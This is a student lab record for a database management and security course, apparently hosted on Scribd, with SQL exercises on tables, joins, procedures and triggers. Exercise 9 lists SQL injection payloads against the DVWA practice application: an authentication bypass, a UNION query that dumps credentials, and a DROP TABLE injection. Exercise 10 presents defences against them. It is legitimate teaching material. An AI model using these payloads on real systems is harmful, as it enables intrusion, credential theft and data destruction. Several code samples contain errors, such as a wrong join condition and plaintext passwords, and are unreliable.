0% found this document useful (0 votes)
143 views

DBMSS LAB RECORD

The document outlines a laboratory course for Database Management Systems and Security at Arunai Engineering College, detailing various exercises related to SQL commands. It includes creating database tables, adding constraints, querying with different conditions, and exploring joins and stored procedures. Each exercise aims to enhance practical skills in managing and manipulating databases using SQL DDL and DML commands.
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
143 views

DBMSS LAB RECORD

The document outlines a laboratory course for Database Management Systems and Security at Arunai Engineering College, detailing various exercises related to SQL commands. It includes creating database tables, adding constraints, querying with different conditions, and exploring joins and stored procedures. Each exercise aims to enhance practical skills in managing and manipulating databases using SQL DDL and DML commands.
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 41

ARUNAI ENGINEERING COLLEGE

(Affiliated to Anna University)


Velu Nagar, Tiruvannamalai – 606 603
Phone: 04175-237419/236799/237739
www.arunai.org

DEPARTMENT OF COMPUTER SCIENCE AND ENGINEERING


(CYBER SECURITY)

2023- 2024

FOURTH SEMESTER

CB3412 - DATABASE MANAGEMENT


SYSTEMS AND SECURITY LABORATORY

1
1

CREATE A DATABASE TABLE, ADD CONSTRAINTS


EX NO:1
(PRIMARY KEY, UNIQUE, CHECK, NOT NULL),
INSERT ROWS, UPDATE AND DELETE ROWS USING
DATE: SQL DDL AND DML COMMANDS

AIM:

To create a database table, add constraints (primary key, unique, check,


not null), insert rows, update and delete rows using SQL DDL and DML
commands.

PROCEDURE:

Create a Database Table:


Define the table structure including column names, data types, and constraints.
Use SQL DDL command CREATE TABLE.

Add Constraints:
Define constraints such as primary key, unique, check, and not null for appropriate
columns.
Use SQL DDL commands PRIMARY KEY, UNIQUE, CHECK, and NOT NULL
within the CREATE TABLE statement.

Insert Rows:
Prepare the data to be inserted into the table.
Use SQL DML command INSERT INTO to add rows into the table.

Update Rows:
Identify the rows that need to be updated based on certain conditions.
Use SQL DML command UPDATE to modify the data in the table.

Delete Rows:
Identify the rows that need to be deleted based on certain conditions.
Use SQL DML command DELETE FROM to remove rows from the table.
2

SQL COMMANDS:
--
Create a database table
CREATE TABLE Employees (
EmployeeID INT PRIMARY KEY,
FirstName VARCHAR(50) NOT NULL,
LastName VARCHAR(50) NOT NULL,
Email VARCHAR(100) UNIQUE,
Age INT CHECK (Age >= 18),
Department VARCHAR(50)
);

-- Insert rows into the table


INSERT INTO Employees (EmployeeID, FirstName, LastName, Email, Age,
Department)
VALUES
(1, 'John', 'Doe', '[email protected]', 30, 'IT'),
(2, 'Jane', 'Smith', '[email protected]', 25, 'HR'),
(3, 'Michael', 'Johnson', '[email protected]', 40, 'Finance');

-- Update a row in the table


UPDATE Employees
SET Department = 'Marketing'
WHERE EmployeeID = 1;

-- Delete a row from the table


DELETE FROM Employees
WHERE EmployeeID = 3;
3

OUTPUT

RESULT:
Thus the program to create a database table, add constraints (primary
key, unique, check, not null), insert rows, update and delete rows using SQL DDL
and DML commands is done successfully
4

EX NO:2 CREATE SET OF TABLES, ADD FOREIGN KEY


CONSTRAINTS AND INCORPORATE REFERENTIAL
DATE: INTEGRITY

AIM :

To create set of tables, add foreign key constraints and incorporate


referential integrity.

PROCEDURE:

Define Table Structures:


Determine the entities and relationships you need to represent in your database.
Design the tables with appropriate columns for each entity, considering
normalization principles.

Create Tables:
Use SQL DDL (CREATE TABLE) commands to create each table with their
respective columns.

Add Foreign Key Constraints:


Identify the relationships between tables.
Add foreign key constraints to enforce referential integrity.

Incorporate Referential Integrity:


Ensure that every foreign key in a child table references a valid primary key in the
parent table.
Define cascading actions for updates and deletes to maintain data consistency.
5

PROGRAM:

-- Create a table for customers


CREATE TABLE Customers (
customer_id INT PRIMARY KEY,
name VARCHAR(50),
email VARCHAR(100)
);

-- Create a table for orders


CREATE TABLE Orders (
order_id INT PRIMARY KEY,
customer_id INT,
order_date DATE,
FOREIGN KEY (customer_id) REFERENCES Customers(customer_id)
);

-- Create a table for order items


CREATE TABLE OrderItems (
item_id INT PRIMARY KEY,
order_id INT,
product_id INT,
quantity INT,
FOREIGN KEY (order_id) REFERENCES Orders(order_id),
FOREIGN KEY (product_id) REFERENCES Products(product_id)
);

-- Create a table for products


CREATE TABLE Products (
product_id INT PRIMARY KEY,
name VARCHAR(100),
price DECIMAL(10, 2)
);
6

OUTPUT :

Customers Table:

customer_id name email


INT VARCHAR VARCHAR

Orders Table:

order_id customer_id order_date


INT INT DATE

OrderItems Table:

item_id order_id product_id quantity


INT INT INT INT

Products Table:

product_id name price


INT VARCHAR DECIMAL

RESULT:
Thus to create set of tables, add foreign key constraints and incorporate
referential integrity is done successfully.
7

EX NO:3
QUERY THE DATABASE TABLES USING DIFFERENT
‘WHERE’ CLAUSE CONDITIONS AND ALSO
DATE: IMPLEMENT AGGREGATE FUNCTIONS.

AIM:

To Query the database tables using different ‘where’ clause conditions and
also implement aggregate functions.

PROCEDURE:

Define the SQL query: Determine the specific information you want to retrieve
from the database table and formulate the SQL query accordingly.

Construct the WHERE clause: Decide on the conditions that filter the rows
returned by the query based on specific criteria. This can include conditions on
columns, date ranges, or other relevant factors.

Execute the SQL query: Execute the SQL query against the database using an
appropriate database client or interface.

Retrieve and process the results: Retrieve the results returned by the query
and process them as needed. This can involve displaying the results, performing
further analysis, or using them for other purposes.

Implement aggregate functions: If needed, use aggregate functions such as


SUM , AVG, MIN, MAX, or COUNT to calculate summary statistics or aggregate values
from the data
8

PROGRAM:

CREATE TABLE Sales (


SaleID INT PRIMARY KEY,
ProductID INT,
SaleDate DATE,
Quantity INT,
Price DECIMAL(10, 2)
);
SELECT * FROM Sales;
SELECT * FROM Sales WHERE ProductID = 100;
SELECT * FROM Sales WHERE SaleDate BETWEEN '2023-01-01' AND
'2023-12-31';
SELECT * FROM Sales WHERE Quantity > 10;
-- Total sales quantity
SELECT SUM(Quantity) AS TotalQuantity FROM Sales;

-- Average price
SELECT AVG(Price) AS AveragePrice FROM Sales;

-- Minimum sale price


SELECT MIN(Price) AS MinPrice FROM Sales;

-- Maximum sale price


SELECT MAX(Price) AS MaxPrice FROM Sales;
9

OUTPUT:

1. SELECT * FROM Sales;


SaleID ProductID SaleDate Quantity Price
1 100 2023-01-15 5 20.00
2 101 2023-03-20 15 25.00
3 102 2023-05-10 8 30.00
4 103 2023-07-05 20 35.00
5 100 2023-09-15 12 40.00

2. SELECT * FROM Sales WHERE ProductID = 100;


SaleID ProductID SaleDate Quantity Price
1 100 2023-01-15 5 20.00
5 100 2023-09-15 12 40.00

3. SELECT * FROM Sales WHERE SaleDate BETWEEN '2023-01-01' AND


'2023-12-31';
SaleID ProductID SaleDate Quantity Price
1 100 2023-01-15 5 20.00
2 101 2023-03-20 15 25.00
3 102 2023-05-10 8 30.00
4 103 2023-07-05 20 35.00
5 100 2023-09-15 12 40.00

4. SELECT * FROM Sales WHERE Quantity > 10;


SaleID ProductID SaleDate Quantity Price
2 101 2023-03-20 15 25.00
4 103 2023-07-05 20 35.00
5 100 2023-09-15 12 40.00

5. SELECT SUM(Quantity) AS TotalQuantity FROM Sales;


TotalQuantity
60
10

6. SELECT AVG(Price) AS AveragePrice FROM Sales;


AveragePrice
30.00

7. SELECT MIN(Price) AS MinPrice FROM Sales;


MinPrice
20.00

8. SELECT MAX(Price) AS MaxPrice FROM Sales;


MaxPrice
40.00

RESULT:

Thus program for query the database tables using different ‘where’ clause
conditions and also implement aggregate functions executed successfully.
11

EX NO:4
QUERY THE DATABASE TABLES AND EXPLORE
DATE: SUB QUERIES AND SIMPLE JOIN OPERATIONS

AIM:

To Query the database tables and explore sub queries and simple join
operations.

PROCEDURE:

Identify the tables: Determine which tables you need to query and understand
their relationships.

Write the main query: Start by writing the main query to retrieve the data you
need from the primary table.

Add join operations: If you need data from multiple tables, add join operations to
connect them based on their relationships.

Include subqueries: If necessary, include subqueries within the main query to


further filter or retrieve data.

Execute the query: Run the SQL query against the database to retrieve the results.
Explore and analyze the results: Review the results returned by the query to ensure
they meet your requirements. You can also perform further analysis or processing
on the results as needed.
12

PROGRAM:

-- Students table
CREATE TABLE Students (
StudentID INT PRIMARY KEY,
FirstName VARCHAR(50) NOT NULL,
LastName VARCHAR(50) NOT NULL,
Age INT
);

-- Courses table
CREATE TABLE Courses (
CourseID INT PRIMARY KEY,
CourseName VARCHAR(50) NOT NULL
);

-- Sample data insertion for Students


INSERT INTO Students (StudentID, FirstName, LastName, Age)
VALUES
(1, 'John', 'Doe', 20),
(2, 'Jane', 'Smith', 22),
(3, 'Michael', 'Johnson', 21);

-- Sample data insertion for Courses


INSERT INTO Courses (CourseID, CourseName)
VALUES
(101, 'Math'),
(102, 'Science'),
(103, 'History');

-- Retrieve all students and their courses


SELECT s.FirstName, s.LastName, c.CourseName
FROM Students s
JOIN Courses c ON s.StudentID = c.CourseID;
13

OUTPUT :

FirstName LastName CourseName


John Doe Math
Jane Smith Science
Michael Johnson History

RESULT:
Thus Query the database tables and explore sub queries and simple join
operations is done successfully.
14

EX NO:5
QUERY THE DATABASE TABLES AND EXPLORE
DATE: NATURAL, EQUI AND OUTER JOINS

AIM:
To query the database tables and explore natural, equi and outer joins.

PROCEDURE:

1. Identify the relevant tables involved in your query.


2. Specify the columns (attributes) present in each table and their data types.
3. Formulate the Query Goal:
4. Determine the information you want to retrieve by combining data from the
tables.
5. Choose the Join Type:
6. Natural Join:
7. If both tables have columns with the same name and data type, use a natural
join for automatic matching based on those columns.
8. This is the simplest approach, but limited to matching on identically named
columns.
9. Equi Join:
10. Use an equi join to explicitly define the join condition using the ON clause
and the equals (=) operator.
11. This offers more flexibility as you can join based on any columns in the
tables.
12. Use the SELECT clause to specify the columns you want to retrieve from
the tables.
13. Use the appropriate join keyword (NATURAL JOIN, JOIN for equi join,
LEFT JOIN, RIGHT JOIN, FULL JOIN) to combine the tables.
14. Examine the retrieved data to ensure it aligns with your query goal.
15. Pay attention to NULL values introduced by outer joins.
15

PROGRAM:
-- Create the tables
CREATE TABLE Customers (
customer_id INT PRIMARY KEY,
customer_name VARCHAR(50) NOT NULL,
city VARCHAR(50)
);

CREATE TABLE Orders (


order_id INT PRIMARY KEY,
customer_id INT NOT NULL,
product_name VARCHAR(50) NOT NULL,
price DECIMAL(5,2) NOT NULL,
FOREIGN KEY (customer_id) REFERENCES Customers(customer_id)
);

-- Insert some sample data (ensure customer_id values match in both tables)
INSERT INTO Customers (customer_id, customer_name, city)
VALUES (1, 'John Doe', 'New York'),
(2, 'Jane Smith', 'Los Angeles'),
(3, 'Michael Chen', 'Chicago');

INSERT INTO Orders (order_id, customer_id, product_name, price)


VALUES (101, 1, 'Laptop', 1200.00),
(102, 2, 'Headphones', 150.00),
(103, 1, 'Phone Case', 25.00);

-- Perform the natural join


SELECT *
FROM Customers
NATURAL JOIN Orders;

-- Perform the equi join (explicitly specifying the join condition)


SELECT c.customer_name, o.order_id, o.product_name, o.price
FROM Customers c
JOIN Orders o
ON c.customer_id = o.customer_id;

-- Full Outer Join (show all rows from both tables)


SELECT c.customer_name, o.order_id, o.product_name, o.price
FROM Customers c
FULL JOIN Orders o
ON c.customer_id = o.customer_id;
16

OUTPUT:

Output of NATURAL JOIN:

customer_ customer_ city order_id product_name price


id name
1 John Doe New York 101 Laptop 1200.00
1 John Doe New York 103 Phone Case 25.00
2 Jane Smith Los 102 Headphones 150.00
Angeles

Output of Equi Join:

customer_name order_id product_name price


John Doe 101 Laptop 1200.00
John Doe 103 Phone Case 25.00
Jane Smith 102 Headphones 150.00

Output of Full Outer Join:

customer_name order_id product_name price


John Doe 101 Laptop 1200.00
John Doe 103 Phone Case 25.00
Jane Smith 102 Headphones 150.00
Michael Chen NULL NULL NULL

RESULT:
Thus query the database tables and explore natural, equi and outer joins is
done successfully.
17

EX NO:6
WRITE USER DEFINED FUNCTIONS AND STORED
DATE: PROCEDURES IN SQL

AIM:

To write user defined functions and stored procedures in SQL.

PROCEDURE:

Define the Task: Determine the specific task or functionality that you want the
user-defined function or stored procedure to perform.

Choose Function or Procedure: Decide whether you need to create a user-


defined function or a stored procedure based on the task requirements.

Write the Code:


For User-Defined Function:
Define the input parameters and return type.
Write the SQL logic to perform the desired task.
End the function with a RETURN statement to return the result.

For Stored Procedure:


Define the input parameters (if any).
Write the SQL statements to perform the desired task.
Optionally, include error handling logic using TRY...CATCH blocks.
Optionally, include output parameters to return values.
Optionally, include a RETURN statement to return a status code.

Test the Code: Execute the user-defined function or stored procedure to ensure
that it performs the intended task correctly.

Deploy and Use: Once tested, deploy the user-defined function or stored
procedure to your database environment.
18

PROGRAM:

CREATE PROCEDURE place_order_with_discount (


IN product_name VARCHAR(50),
IN price DECIMAL(5,2),
IN customer_id INT,
IN discount_rate DECIMAL(2,2)
)
BEGIN
DECLARE final_price DECIMAL(5,2);
DECLARE discount_amount DECIMAL(5,2);

SET discount_amount = price * discount_rate;


SET final_price = price - discount_amount;

INSERT INTO Orders (product_name, price, customer_id, discount)


VALUES (product_name, final_price, customer_id, discount_amount);
END;

CALL place_order_with_discount('Laptop', 1200.00, 1, 0.1);


19

OUTPUT

order_id product_name price customer_id discount


<id> Laptop 1080.00 1 120.00

RESULT:
Thus to write user defined functions and stored procedures in SQL is done
successfully.
20

EX NO:7
EXECUTE COMPLEX TRANSACTIONS AND
DATE: REALIZE DCL AND TCL COMMANDS

AIM:

To Execute complex transactions and realize DCL and TCL commands.

PROCEDURE:

Identify the Transaction: Determine the sequence of SQL operations that


constitute the transaction. A transaction typically includes multiple SQL statements
that need to be executed together to maintain data integrity.

Begin Transaction: Use the BEGIN TRANSACTION or equivalent command to


start the transaction. This marks the beginning of the transaction block and ensures
that all subsequent SQL statements are part of the same transaction.

Execute SQL Operations: Execute the necessary SQL statements within the
transaction block to perform the desired operations. These operations can include
data manipulation (DML) statements such as INSERT, UPDATE, DELETE, as
well as data definition (DDL) statements if needed.

Implement Data Control Language (DCL) Commands:


Grant or revoke permissions on database objects using GRANT and REVOKE
statements.
Ensure that only authorized users have access to the data by specifying appropriate
permissions.

Implement Transaction Control Language (TCL) Commands:


21

Use COMMIT to save the changes made by the transaction to the database
permanently. This makes the changes visible to other users and commits the
transaction.
Use ROLLBACK to discard the changes made by the transaction and revert the
database to its state before the transaction began. This aborts the transaction.
Use SAVEPOINT to set a point within the transaction to which you can later roll
back if needed.

Commit or Rollback Transaction:


If the transaction completes successfully and the changes are as desired, commit
the transaction using the COMMIT command. This saves the changes permanently
to the database.
If there are any errors or if the transaction needs to be aborted for any reason, roll
back the transaction using the ROLLBACK command. This undoes all the changes
made by the transaction.

End Transaction: End the transaction by using the appropriate SQL command to
either commit or rollback the changes made during the transaction.
22

PROGRAM:

DELIMITER //

CREATE PROCEDURE place_order(IN user_id INT, IN product_id INT)


BEGIN
DECLARE stock INT;
DECLARE user_role VARCHAR(20);
DECLARE EXIT HANDLER FOR SQLEXCEPTION
BEGIN
GET DIAGNOSTICS CONDITION 1 @sqlstate = MYSQL_ERRNO,
@message = MESSAGE_TEXT;
ROLLBACK;
SELECT @sqlstate AS error_code, @message AS error_message;
END;

START TRANSACTION;

-- Check if user exists


IF NOT EXISTS (SELECT 1 FROM Users WHERE user_id = user_id) THEN
SIGNAL SQLSTATE '45000' SET MESSAGE_TEXT = 'User not found';
EXIT;
END IF;

-- Check if product exists


IF NOT EXISTS (SELECT 1 FROM Products WHERE product_id = product_id)
THEN
SIGNAL SQLSTATE '45000' SET MESSAGE_TEXT = 'Product not found';
EXIT;
END IF;

-- Check user role


SELECT role INTO user_role FROM Roles WHERE user_id = user_id;

-- Check stock using UDF


SELECT stock INTO stock FROM Products WHERE product_id = product_id;

-- Place order based on user role


23

CASE user_role
WHEN 'Customer' THEN
IF has_sufficient_stock(product_id) THEN
INSERT INTO Orders (user_id, product_id)
VALUES (user_id, product_id);
ELSE
SIGNAL SQLSTATE '45000' SET MESSAGE_TEXT = 'Out of stock';
END IF
WHEN 'Admin' THEN
-- Admin can perform additional operations (replace with your logic)
-- ...
ELSE
SIGNAL SQLSTATE '45000' SET MESSAGE_TEXT = 'Invalid user role';
END CASE;

COMMIT;
END //

DELIMITER ;
24

OUTPUT

Error table:

RESULT:
Thus the Execution of complex transactions and realize DCL and TCL
commands is done successfully.
25

EX NO:8
WRITE SQL TRIGGERS FOR INSERT, DELETE, AND
UPDATE OPERATIONS IN DATABASE TABLE.
DATE:

AIM:
To write SQL triggers for insert, delete, and update operations in database
table.

PROCEDURE:

Identify the Trigger Event: Determine the type of database operation (insert,
delete, or update) that will trigger the execution of the trigger.

Choose the Trigger Timing: Decide whether the trigger should fire before or
after the triggering event (BEFORE or AFTER).

Write the Trigger Logic:


For INSERT triggers: Write the logic that should be executed when a new row is
inserted into the table.
For DELETE triggers: Write the logic that should be executed when a row is
deleted from the table.
For UPDATE triggers: Write the logic that should be executed when a row is
updated in the table.

Access the Old and New Values:


Use the OLD and NEW keywords to access the old and new values of the affected
row(s) within the trigger logic.
OLD represents the old values of the row before the operation (DELETE or
UPDATE).
NEW represents the new values of the row after the operation (INSERT or
UPDATE).
26

Implement the Trigger Actions:


Perform any necessary actions within the trigger logic based on the trigger event
and timing.
This can include updating other tables, logging changes, enforcing constraints, or
performing calculations.

Test the Trigger: Before deploying the trigger, test it thoroughly to ensure it
behaves as expected under different scenarios.

Deploy the Trigger: Use the appropriate SQL command (CREATE TRIGGER)
to create the trigger in the database.

Monitor and Maintain the Trigger: Regularly monitor the trigger's behavior
and performance, and make any necessary adjustments or optimizations as needed.
27

PROGRAM:

CREATE TRIGGER AfterInsertEmployee


AFTER INSERT ON Employees
FOR EACH ROW
BEGIN
DECLARE message VARCHAR(255);
SET message = CONCAT('New employee inserted - Employee ID: ',
NEW.EmployeeID, ', Name: ', NEW.FirstName, ' ', NEW.LastName);
SELECT message;
END;
CREATE TRIGGER AfterDeleteEmployee
AFTER DELETE ON Employees
FOR EACH ROW
BEGIN
DECLARE message VARCHAR(255);
SET message = CONCAT('Employee deleted - Employee ID: ',
OLD.EmployeeID, ', Name: ', OLD.FirstName, ' ', OLD.LastName);
SELECT message;
END;
CREATE TRIGGER AfterUpdateEmployee
AFTER UPDATE ON Employees
FOR EACH ROW
BEGIN
DECLARE message VARCHAR(255);
SET message = CONCAT('Employee updated - Employee ID: ',
NEW.EmployeeID, ', Name: ', NEW.FirstName, ' ', NEW.LastName);
SELECT message;
END;
28

OUTPUT

New employee inserted Employee ID 101 Name John Doe


Employee deleted Employee ID 101 Name John Doe
Employee updated Employee ID 102 Name Jane Doe

RESULT:
Thus to Write SQL Triggers for insert, delete, and update operations in
database table is done successfully
29

EX NO:9 USE SQLI TO AUTHENTICATE AS ADMINISTRATOR,


TO GET UNAUTHORIZED ACCESS OVER
DATE: SENSITIVEDATA, TO
INJECT MALICIOUS STATEMENTS INTO FORM
FIELD.
.

AIM
To use sqli to authenticate as administrator, to get unauthorized access over
sensitive data, to inject malicious statements into form field.

PROCEDURE

Setup Environment:
 Install a vulnerable web application like DVWA.
 Start the web server environment.
 Access the application through a web browser.

Bypass Authentication:
 Find the login form.
 Enter ' OR '1'='1' -- in the username field.
 Provide any value in the password field.
 Attempt to log in.

Access Sensitive Data:


 Explore the application for areas accepting user input.
 Input ' UNION SELECT username, password FROM users -- in the
appropriate field.
 Observe the output for retrieved usernames and passwords.
30

Inject Malicious Statements:


 Identify a form field or input parameter.
 Input '; DROP TABLE users; -- in the appropriate field.
 Check for confirmation of successful execution or observe any
changes in the application's behavior.
Observation:
 Analyze the outcomes of the above steps to understand the impact
of SQL injection vulnerabilities.
31

PROGRAM

Bypassing Authentication:
Username: admin' OR '1'='1' --
Password: <any value>

Accessing Sensitive Data:


Username: ' UNION SELECT username, password FROM users --
Password: <any value>

Injecting Malicious Statements:


; DROP TABLE users; --
32

OUTPUT

1. Bypassing Authentication:
 Successful login as administrator or user with elevated privileges.

Welcome, Administrator! You have successfully


logged in

2. Accessing Sensitive Data:


 Displayed usernames and passwords of all users stored in the
database.

Username admin Password admin123


Username user1 Password password123
Username user2 Password Secure pass

3. Injecting Malicious Statements:


 Confirmation of successful execution of the injected malicious
statement.

The 'users' table has been dropped successfully.

RESULTS:
Successfully bypassed authentication, accessed sensitive data, and
executed malicious statements.
33

EX NO:10 WRITE PROGRAMS THAT WILL DEFEND AGAINST


THE
DATE: SQLI ATTACKS GIVEN IN THE PREVIOUS
EXERCISE.

AIM

To Write programs that will defend against the SQLi attacks given in
the previous exercise.

PROCEDURE

1. Parameterized Queries:
 Use prepared statements with placeholders for user input.
 Bind input values to parameters in the SQL query.
 Execute the query to retrieve data securely.

2. Input Sanitization:
 Filter and sanitize user input before using it in SQL queries.
 Use built-in functions or libraries to sanitize input and remove
potentially harmful characters.
 Validate input to ensure it meets expected criteria.

3. Limiting Privileges:
 Implement role-based access control to restrict user privileges.
 Assign specific permissions based on user roles.
 Ensure that sensitive operations are only accessible to authorized
users.
34

PROGRAM

Parameterized Queries:
$username = $_POST['username'];
$password = $_POST['password'];
$stmt = $pdo->prepare("SELECT * FROM users WHERE username =
:username AND password = :password");
$stmt->execute(['username' => $username, 'password' => $password]);
$user = $stmt->fetch();

Input Sanitization (Using PDO):


$username = filter_input(INPUT_POST, 'username',
FILTER_SANITIZE_STRING);
$password = filter_input(INPUT_POST, 'password',
FILTER_SANITIZE_STRING);
$stmt = $pdo->prepare("SELECT * FROM users WHERE username =
:username AND password = :password");
$stmt->execute(['username' => $username, 'password' => $password]);
$user = $stmt->fetch();

Limiting Privileges:
if ($user['role'] === 'admin') {
// Perform administrative tasks
} else {
// Perform regular user tasks
}
35

OUTPUT

Parameterized Queries:
The user is successfully retrieved from the database using parameterized
queries, ensuring protection against SQL injection attacks.

$user = [
'id' => 1,
'username' => 'example_user',
'password' => 'hashed_password',
'role' => 'regular'
];

Input Sanitization:
User input is sanitized before executing the query, preventing SQL
injection vulnerabilities and ensuring data integrity.

$username = 'example_user';
$password = 'password123';

Limiting Privileges:
Depending on the user's role, either administrative tasks or regular user
tasks are performed, demonstrating role-based access control and
protection against unauthorized actions

RESULT
Parameterized Queries: Secure user authentication. Input Sanitization:
Prevention of SQL injection vulnerabilities. Limiting Privileges: Role-based access
control for enhanced security.
36

EX NO:11
WRITE QUERIES TO INSERT ENCRYPTED DATA
DATE: INTO THE DATABASE AND TO RETRIEVE THE
DATA USING DECRYPTION

AIM

To Write queries to insert encrypted data into the database and to retrieve
the data using decryption.

PROCEDURE

1. Inserting Encrypted Data:


 Encrypt the data using a cryptographic algorithm (e.g., AES) with a
strong encryption key.
 Insert the encrypted data into the database.

2. Retrieving and Decrypting Data:


 Retrieve the encrypted data from the database.
 Decrypt the data using the same cryptographic algorithm and
encryption key used for encryption.
37

PROGRAM

Inserting Encrypted Data:


INSERT INTO users (username, encrypted_password)
VALUES ('user1', AES_ENCRYPT('password123', 'encryption_key'));

Retrieving and Decrypting Data:


SELECT id, username, AES_DECRYPT(encrypted_password, 'encryption_key')
AS decrypted_password
FROM users
WHERE username = 'user1';
38

OUTPUT

1. Inserting Encrypted Data:


Successfully inserted encrypted data into the database.

Encrypted data inserted successfully

2. Retrieving and Decrypting Data:


Retrieved and decrypted data from the database.

Username: user1
Decrypted Password: password123

RESULT
Insert encrypted data into the database and retrieve it using decryption
was executed successfully.

You might also like